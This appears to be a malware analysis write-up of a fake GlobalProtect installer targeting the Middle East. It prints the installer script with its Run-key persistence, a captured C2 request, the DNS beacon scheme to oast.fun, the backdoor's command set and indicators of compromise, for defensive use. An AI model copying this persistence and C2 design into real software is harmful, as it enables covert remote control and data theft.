Malware analysis - .NET - Backdoor GlobalProtect application

Sample
- Name:
Setup.exe
- SHA256:
e3880c7db78e09748fe9caf02f330b1c61cd3aaaa31ffe93fb5ba1fb1035f761
References
- Trend Micro: https://www.trendmicro.com/en_us/research/24/h/threat-actors-target-middle-east-using-fake-tool.html
Overview
- Fake Palo Alto GlobalProtect installer application targeting the Middle East.
- The installer, Setup.exe, drops GlobalProtect.exe.
- GlobalProtect.exe allows the operator to run PowerShell, download/upload files and execute programs on an infected host.
- Notably, uses the Interactsh project for some C2 communications.
Sandbox analysis
URL: https://tria.ge/240829-xm5y2swdrc/behavioral1
Highlights:



POST /B/desktop/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 94[.]131[.]108[.]78:7118
Content-Length: 438
Expect: 100-continue
Connection: Keep-Alive
start=IhVdqOiOjuDxlsQxuhCjBQ%253d%253d&text=dVIwa0Y2cmhiUW5wWkZmdVQ2Rlk1MlpzMGl4UnFqTGI%253d&disable_web_page_preview=49ufpDW%252bZyUrF3DV6gU5YQ%253d%253d&disable_notification=LidJtqwxMYIKBpibrl1022WhPc1eA5%252fDJ214czh0b%252fI%253d&description=IZwJBn3wXvKXHSGqe1EUAw%253d%253d&document=IZwJBn3wXvKXHSGqe1EUAw%253d%253d&CatId=3R8jIyXSzlHEvyyLX2oFcg%253d%253d&PageId=%252bWf1bKUQKhWGKqiKLUgZrw%253d%253d&Id=uvxh6dsWCQ1QtmfDBVFKSA%253d%253d
Example HTTP request by GlobalProtect.exe

Manual analysis
Based on the Triage sandbox analysis we are going to break the analysis in two sections, that is, analysis of:
- Setup.exe
- GlobalProtect.exe
Analysis of Setup.exe
The process listing from Triage gives an indication that Setup.exe
may be a InnoSetup installer file based on the following (note the directory path is-XXXX.tmp
):
C:\Users\Admin\AppData\Local\Temp\is-MVOSB.tmp\Setup.tmp
While there are other ways to verify this, it is a simple operation to attempt to unpack the InnoSetup installer to see if we are correct.
We can use the tool innounp.exe (https://innounp.sourceforge.net/) to unpack the InnoSetup installer file to retrieve embedded resources and the installer script. However, attempts at using this tool failed with the following error message:
C:\Users\eng\Desktop\innounp050>innounp.exe -x C:\Users\eng\Desktop\setup.exe.bin
Signature detected: Inno Setup Setup Data (6.3.0)
This is not directly supported, but i'll try to unpack it as version 5602
; Version detected: 6300
Critical error: The setup files are corrupted. Please obtain a new copy of the program.
Error produced by Innounp.
Research suggested the use of innounp-unicode to resolve this error, which can be found at the following URL: https://www.rathlev-home.de/tools/download/innounp-1.zip
C:\Users\eng\Desktop\Sample>innounp.exe -xv setup.exe.bin
*innounp*, the Inno Setup Unpacker. Version 1.72
Inno Setup archive: C:\Users\eng\Desktop\Sample\setup.exe.bin
=> Version detected: 6300 (Unicode)
#0 {autopf32}\PaloAlto\GlobalProtect.exe - extracted
#1 install_script.iss - extracted
Extraction of Setup.exe via innounp-unicode
This has now provided us with the following files for analysis:
install_script.iss
/9d1d0634551184f184fb1a4cdb95ecdc00ecdb789d60805873de3f971a5f5818
- the installer script, and{autopf32}\PaloAlto\GlobalProtect.exe
/a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750
- executable observed running and beaconing in the sandbox.
The following snippet highlights a few of the installer script's interesting sections:
;InnoSetupVersion=6.3.0 (Unicode)
[Setup]
AppName=GlobalProtect
AppId={{BD2E6DF5-0895-4E6C-B1BC-35EF3D9B8BEA}
AppVersion=4.1.2.12
AppPublisher=PaloAlto Networks
AppPublisherURL=https://www.paloaltonetworks.com/
AppSupportURL=https://www.paloaltonetworks.com/
AppUpdatesURL=https://www.paloaltonetworks.com/
DefaultDirName={autopf32}\PaloAlto
PrivilegesRequired=lowest
[Files]
Source: "{autopf32}\PaloAlto\GlobalProtect.exe"; DestDir: "{autopf32}\PaloAlto"; Flags: comparetimestamp ignoreversion
[Registry]
Root: HKCU; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ValueName: "GlobalProtect"; ValueType: String; ValueData: "{autopf32}\PaloAlto\GlobalProtect.exe"; Flags: uninsdeletevalue
[Run]
Filename: "{autopf32}\PaloAlto\GlobalProtect.exe"; Description: "{cm:LaunchProgram,GlobalProtect}"; Flags: postinstall nowait
Here we can observe:
[Setup]
containing application configuration information,[Files]
copying theGlobalProtect.exe
file to its target directory:Source: "{autopf32}\PaloAlto\GlobalProtect.exe"; DestDir: "{autopf32}\PaloAlto"
Here we can see{autopf32}
within the directory path. This is a InnoSetup constant that maps to{commonpf32}
when the installer is run as an Administrator, or{userpf}
when ran as a non-privileged user. We can see that thePrivlegesRequired
directive is set tolowest
within the[Setup]
section, indicating that the installer will run in a non-administrative mode, meaning{userpf}
will be used.{userpf}
corresponds to the following directory:{localappdata}\Programs
.- A registry run key defined under the
[Registry]
section:
Root: HKCU; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ValueName: "GlobalProtect"; ValueType: String; ValueData: "{autopf32}\PaloAlto\GlobalProtect.exe"; Flags: uninsdeletevalue
We will now turn our attention to the GlobalProtect.exe file as this contains the functionality we would like to discuss.
Analysis of GlobalProtect.exe
The GlobalProtect.exe
executable that was dropped by Setup.exe
executable has the following hash:
a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750
A quick review within PeStudio suggests that this file has a Microsoft .NET signature. As a quick smoke test, we loaded the file in dnSpy and were presented with decompiled .NET code.
A quick review of the code suggests it is using minimal obfuscation, that is:
- Obfuscated class/method/variable names, and
- Defines methods that are never called.
Despite this, it is fairly simple to read the code and perform renames as required. For the purposes of the article, the renames have been overdone for ease of readability.
The following screenshot depicts the static constructor (.cctor()
) for our sample, which appears to be setting a number of configuration variables, some of which should be familiar to the reader based on the sandbox analysis:

When can then jump to the entry point of our sample, which is depicted in the screenshot below. Here we can observe that the sample:
- Checks that it is running from the expected directory (
MaleDir_const
-C:\Users\<username>\AppData\Local\Programs\PaloAlto
) - Checks whether a configuration file exists -
Stp.conf
. In the event it doesn't exist (i.e. first time running), the sample makes a call to display a dialog to the user, as well as creates an empty file namedStp.conf
. - Ensures that there is only one copy of itself running, and if so:
- Manipulates the notification icon for the sample,
- Generates a key, which is then written to
ApProcessId.conf
on disk. The key is then set in theMalwareConfig.DesktoProcessId
MalwareConfig.XorKey
variables, and is also sent via a DNS request tostep1-{DesktoProcessId}.{subdomain}.oast.fun
. - Retrieves and sets information for later use about its operating environment - such as IP address, user context and operating system.
- Sends a DNS request to
step3-{DesktoProcessId}.{subdomain}.oast.fun
(interestingly,step2
is skipped for now), - Makes a call to listen for commands from the C2 (depicted as
C2Utils().ListenCmds(true)
in the screenshot below).

We will now perform a review of the C2Utils().ListenCmds()
method. This body of this method is depicted in the following screenshot.

The method begins by sending another DNS request to the oast[.]fun
domain, this time with a prefix of step4-
, following the same format as before (that is, stepX-{DesktoProcessId}.{subdomain}.oast.fun
.
The method then makes a call to C2Utils.SendBasicDetailsWithAdd()
, which retrieves basic information about the infected host and sends this information back to the C2 along with a DNS request to the oast[.]fun
domain, this time with the step2-
prefix. The contents of this method is depicted in the following screenshot.

Returning to the method C2Utils().ListenCmds()
, the sample then queries the C2 for a command by calling the GetCommandsFromC2()
method, which sends an AES encrypted message to the C2 server, where the key for the AES algorithm is defined within the MalwareConfig.XorKey
variable.

Once retrieved, we return to the method C2Utils().ListenCmds()
where a series of if/else statements are used to perform operations based on the command returned from the C2.
The options with the corresponding actions are as follows:
time to rest
- Sleeppw
- execute a provided PowerShell commandpr
- thepr
option allows the operator to:- upload a file -
upl
- download a file -
dnld
- execute a program -
create-process
- retrieve the current defined sleep time -
wtime
- set the sleep time -
wtime
- upload a file -
The sample then sends the response from associated command back to the C2 server, ensuring to AES encrypt it before sending.

The sample then sleeps for a random interval (with the upper bound being the operator defined sleep time) and then attempts to retrieve the next command from the C2.
IOCs
e3880c7db78e09748fe9caf02f330b1c61cd3aaaa31ffe93fb5ba1fb1035f761
a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750
stepX-{DesktoProcessId}.tdyfbwxngpmixjiqtjjote3k9qwc31dsx[.]oast.fun
C:\Users\<user>\AppData\Local\Programs\PaloAlto\
GlobalProtect.exe
ApProcessId.conf
RTime.conf
Stp.conf
94[.]131[.]108[.]78:7118/B/
hi/
desktop/
Mirror/
portal[.]sharjahconnect[.]online